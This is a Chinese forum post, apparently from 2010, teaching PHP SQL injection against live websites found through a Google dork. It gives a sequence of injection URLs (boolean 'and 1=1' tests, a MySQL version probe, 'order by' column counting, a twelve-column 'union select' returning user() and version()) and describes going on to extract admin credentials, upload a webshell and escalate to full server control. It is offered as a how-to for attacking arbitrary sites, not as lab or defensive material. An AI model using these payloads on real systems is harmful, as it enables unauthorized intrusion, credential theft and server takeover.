找回密码
 注册
搜索
热搜: 回贴

教你PHP注入(图)

2010-1-12 20:28| 发布者: admin| 查看: 1478| 评论: 0|原作者: 天仙子

来源:http://hi.baidu.com/lupin1314 用工具玩ASP注入久了,今天试着进行了下PHP注入,虽然不是很完整,也拿出来分享下,首先用GOOGLE HACK 找个存在注入点的网页,打开GOOGLE,输入INURL:PHP?ID=.
随便打开个链接,如http://www.xxxxxxx.com/tougao/post.php?id=2,分别提交http://www.xxxxxxx.com/tougao/post.php?id=2 and 1=1。

再提交http://www.xxxxxxxx.com/tougao/post.php?id=2 and 1=2

发现返回的页面不同,说明存在注入漏洞。再提交http://www.xxxxxx.com/tougao/post.php?id=2 and ord(mid(version(),1,1))>51/*,返回正常界面,说明MYSQL版本大于4.0,因为ASCII码51为3,大于3就是4以上了。

接下来判断有多少字段,提交http://www.xxxxxxx.com/tougao/post.php?id=2 order by 10,返回正常,再提交http://www.xxxxxxx.com/tougao/post.php?id=2 order by 15,返回错误,说明字段在10到15间,接着提交,直到提交到12是返回正常,说明,字段数为12,继续注入.

提交http://www.xxxxx.com/tougao/post.php?id=2 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12/*,成功了,返回很多数字,用user() ,version()代替上面的数字,就可以看到用户名和版本了,我们还可以在12后加上from 表名 来猜解表,再用username password替换数字,来猜管理员帐号和密码,进后台传个WEBSHELL,再进行提权,彻底控制服务器,由于技术和时间限制,我就不演示了。



最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 07:16 , Processed in 0.142630 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部